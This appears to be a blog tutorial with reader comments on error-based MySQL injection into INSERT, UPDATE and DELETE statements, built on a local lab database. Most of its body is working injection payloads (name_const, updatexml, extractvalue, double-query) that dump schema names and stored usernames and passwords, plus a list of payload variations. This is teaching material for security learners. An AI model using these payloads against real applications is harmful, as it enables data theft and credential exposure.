Injection in Insert, Update and Delete Statements

Introduction

Most of the time when we talk about SQL injection we extract data by using the union keyword, error based, blind boolean and time based injection methods. All this come under a place where the application is performing a select statement on the back-end database. How to inject into places where the application is performing an insert, update, delete statement? For example insert statements are used in applications when they want to store ip addresses, user agents, referrer urls and stuff in the database. While manipulating with user accounts when creating a new password, changing names, deleting accounts these statements are used. Not only just user input if we can fuzz around into whatever the application is taking as input and if they aren’t properly sanitized to filter we can go ahead and inject (Assuming that there are no WAFs or any blacklists). This post is based on the MySQL error response. In the web application mysql_error() should be echoed back to us.

Lab Setup

Letโ€™s create a database first by the name `newdb` and create one sample table to practiceย our injections. Stick to your localhost. Don’t go ahead and test against live websites without any permissions. I take no responsibility for any damage you cause.

[code language=”sql”]
Create database newdb;
use newdb
CREATE TABLE users
(
id int(3) NOT NULL AUTO_INCREMENT,
username varchar(20) NOT NULL,
password varchar(20) NOT NULL,
PRIMARY KEY (id)
);
[/code]

If you describe the table it should be something like this.

View post on imgur.com

ย Syntax for Injecting

Now letโ€™s insert some sample data into our database. The syntax would be

[code language=”sql”]
insert into users (id, username, password) values (1, ‘Jane’, ‘Eyre’);
[/code]

The above query uses single quotes. So keep in mind that we have to inject like this.

[code language=”sql”]
insert into users (id, username, password)
values(1, ‘ ‘Inject Here’ ‘, ‘Eyre’);
[/code]

If the query uses double quotes the injection should too use double quotes.

[code language=”sql”]
insert into users (id, username, password)
values
(1, " "Inject Here " ", "Eyre ");
[/code]

The same applies to update and delete statement. You can get to know about the syntax by breaking the statement. Note that in these kinds of injections MySQL comments like –, # wonโ€™t comment out the rest of the query, they are also taken as normal characters.

Injection Using name_const()

We can inject using the name_const() function like this.

[code language=”sql”]
insert into users (id, username, password) values (1,”*(select*from(select(name_const(version(),1)),name_const(version(),1))a)* ”, ‘Eyre’);
[/code]

View post on imgur.com


As expected this query returns the error with the version.

[code language=”sql”]
ERROR 1060 (42S21): Duplicate column name ‘5.5.35-0ubuntu0.12.04.1′
[/code]

The update and delete statements would be in the exact same format.

[code language=”sql”]
update users
set password=”*(select*from(select(name_const(version(),1)),name_const(version(),1))a)* ”
where id=2 and username=’Nervo’;
[/code]

[code language=”sql”]
delete from users
where id=”*(select*from(select(name_const(version(),1)),name_const(version(),1))a)* ”;
[/code]

In latest version of MySQL you can only get the version out of the name_const function. Itโ€™s okay there are plenty more methods to extract data ๐Ÿ˜‰

Injection using updatexml()

If you know about XPATH injections you can use that knowledge in here ๐Ÿ™‚ Usually we use the updatexml() and extractdata() functions. The same can be used in here. Assuming that you know about XPATH injections I will proceed.
Our payload would be

[code language=”sql”]
‘ or updatexml(1,concat(0x7e,(version())),0) or’
[/code]

Insert

[code language=”sql”]
insert into users (id, username, password)
values (1,” or updatexml(1,concat(0x7e,(version())),0) or”, ‘Eyre’);
[/code]

View post on imgur.com

[code language=”sql”]
ERROR 1105 (HY000): XPATH syntax error: ‘~5.5.35-0ubuntu0.12.04.1’
[/code]

Update

[code language=”sql”]
update users
set password=” or updatexml(1,concat(0x7e,(version())),0) or”
where id=2 and username=’Nervo’;
[/code]

Delete

[code language=”sql”]
delete from users
where id=” or updatexml(1,concat(0x7e,(version())),0) or”;
[/code]

Extraction of Data

For the sake of this article I will explain about dumping data only using the insert statement. There is no change in update and delete statements, just follow the exact same way.
For extracting the tables from information_schema database we can build our payload like this

[code language=”sql”]
‘ or updatexml(0,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0) or ‘
[/code]

Our final query would be

[code language=”sql”]
insert into users (id, username, password)
values (1,” or updatexml(0,concat(0x7e,(select concat(table_name)
from information_schema.tables
where table_schema=database() limit 0,1)),0) or ”, ‘Eyre’);
[/code]

The columns would be like this. In my case the table_name would be users.

[code language=”sql”]
insert into users (id, username, password)
values (1,” or updatexml(0,concat(0x7e,(select concat(column_name)
from information_schema.columns
where table_name=’users’ limit 0,1)),0) or ”, ‘Eyre’);
[/code]

Letโ€™s dump the first entry in the users table using insert and delete.

[code language=”sql”]
insert into users (id, username, password) values (1,” or updatexml(0,concat(0x7e,(select concat_ws(‘:’,id, username, password) from users limit 0,1)),0) or ”, ‘Eyre’);
[/code]

View post on imgur.com

[code language=”sql”]
ERROR 1105 (HY000): XPATH syntax error: ‘~1:Jane:Eyre’
[/code]

[code language=”sql”]
delete from users
where id=” or updatexml(0,concat(0x7e,(select concat_ws(‘:’,id, username, password)
from users limit 0,1)),0) or ”;
[/code]

You can retrieve tables, columns using the updatexml() function in insert, update and delete statements. However you cannot dump data using the update statement if you are in the same table. For example now I am in the users table. If I run this query

[code language=”sql”]
update users
set password=” or updatexml(1,concat(0x7e,(select concat_ws(‘:’,id, username, password) from newdb.users limit 0,1)),0) or”
where id=2 and username=’Nervo’;
[/code]

This wonโ€™t give out any data because we are trying to use the target database for dumping data. In these kinds of scenarios you the target database should be different. Once again for the sake of this article create a new database as students with the columns id, name, address and insert some values.
Now if the injection point was in the students table we can dump data from the other tables except from the table itself. This applies to the update statement only.

[code language=”sql”]
update students
set name=” or updatexml(1,concat(0x7e,(select concat_ws(‘:’,id, username, password) from newdb.users limit 0,1)),0) or”
where id=1;
[/code]

[code language=”sql”]
ERROR 1105 (HY000): XPATH syntax error: ‘~1:Jane:Eyre’
[/code]

If you are stuck in the update statement injection you can use double query injection for that. I have discussed in the next few titles.

Injection Using extractvalue()

This function can be used in XPATH injections too. However our payload using this function would like this.

[code language=”sql”]
‘ or extractvalue(1,concat(0x7e,database())) or’
[/code]

Insert

We can apply in the insert statement like this.

[code language=”sql”]
insert into users (id, username, password)
values (1,” or extractvalue(1,concat(0x7e,database())) or”, ‘Eyre’);
[/code]

View post on imgur.com

Update

[code language=”sql”]
update users
set password=” or extractvalue(1,concat(0x7e,database())) or”
where id=2 and username=’Nervo’;
[/code]

Delete

[code language=”sql”]
delete from users where id=” or extractvalue(1,concat(0x7e,database())) or”;
[/code]

Extraction of Data

Follow the same method as discussed in updatexml() function. This is an example of retrieving all the table from the information_schema database.

[code language=”sql”]
insert into users (id, username, password) values (1,” or extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) or”, ‘Eyre’);
[/code]

As mentioned above the final query to dump the username and password would be

[code language=”sql”]
delete from users
where id=” or extractvalue(1,concat(0x7e,(select concat_ws(‘:’,id, username, password) from users limit 0,1))) or”;
[/code]

View post on imgur.com


In dumping the same rules apply to insert, update and delete as mentioned above in updatexml() method. Read it first.

Double Query Injection

We can directly extract data from the database by using double query injection. However in MySQL there is no such thing as double queries. This can also be called as sub query injection. All we are trying to do is retrieve data in the form of an error. We can also define as error based injection.

Insert

[code language=”sql”]
insert into users (id, username, password)
values (1,” or (select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a) or”, ‘Eyre’);
[/code]

View post on imgur.com

[code language=”sql”]
ERROR 1062 (23000): Duplicate entry ‘~’newdb’~1’ for key ‘group_key’
[/code]

Update

[code language=”sql”]
update users
set password=” or (select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a)or”
where id=2 and username=’Nervo’;
[/code]

Delete

[code language=”sql”]
delete from users
where id=” or (select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a)or” ;
[/code]

Extracting Data

I assume you know about error based injections. We can easily dump the table names like this. Read through the query if it is hard to understand at a glance.

[code language=”sql”]
insert into users (id, username, password)
values (1,” or (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a) or ”, ‘Eyre’);
[/code]

[code language=”sql”]
ERROR 1062 (23000): Duplicate entry ‘~’students’~1’ for key ‘group_key’
[/code]

Columns names can be dumped in this manner. In my case the table is users and the database is newdb.

[code language=”sql”]
insert into users (id, username, password)
values (1, ” or (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=database() AND table_name=’users’ LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a) or ”, ‘Eyre’);
[/code]

[code language=”sql”]
ERROR 1062 (23000): Duplicate entry ‘~’id’~1’ for key ‘group_key’
[/code]

Use the limit function to go forward.

Finally the usernames and passwords which is our secret data can be extracted like this.

[code language=”sql”]
insert into users (id, username, password)
values (1, ” or (select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(users.username as char),0x27,0x7e) FROM `newdb`.users LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a) or ”, ‘Eyre’);
[/code]

[code language=”sql”]
ERROR 1062 (23000): Duplicate entry ‘~’Jane’~1’ for key ‘group_key’
[/code]

The same applies to update and delete. You can inject using error based injection to those two statements too. There is no change follow the same syntax.

Other Variations

Iโ€™ve noticed some variations in our payload. I thought of sharing with you. You can inject using these methods too.

[code language=”sql”]
โ€˜ or (payload) or โ€˜
โ€˜ and (payload) and โ€˜
โ€˜ or (payload) and โ€™
โ€˜ or (payload) and โ€˜=โ€™
โ€™* ย (payload) ย ย *โ€˜
โ€˜ or (payload) and โ€™
โ€˜โ€™ โ€“ (payload) โ€“ โ€˜โ€™
[/code]

References

Of course the MySQL documentation

I hope this was useful to you. Apparently it’s my b’day today. Take this as a treat from me ๐Ÿ˜‰ I dedicate this to my best friend ajkaro ๐Ÿ™‚

Update: Complete White Paper =>ย http://packetstormsecurity.com/files/126527/SQL-Injection-In-Insert-Update-And-Delete.html

17 thoughts on “Injection in Insert, Update and Delete Statements

  1. Another great post my fri ๐Ÿ™‚ I love the way you share your knowledge. This post will be gr8 help for SQL learners. Happy Birthday Osada! ๐Ÿ™‚

  2. Hey thanks awesome post! I recently ran into potential SQLi vulnerabilities in a data parser I’m writing. This is invaluable.

  3. Very helpful article – I learnt a bit more to help me complete a Hackme challenge.

Leave a Reply to Skywalk3rCancel reply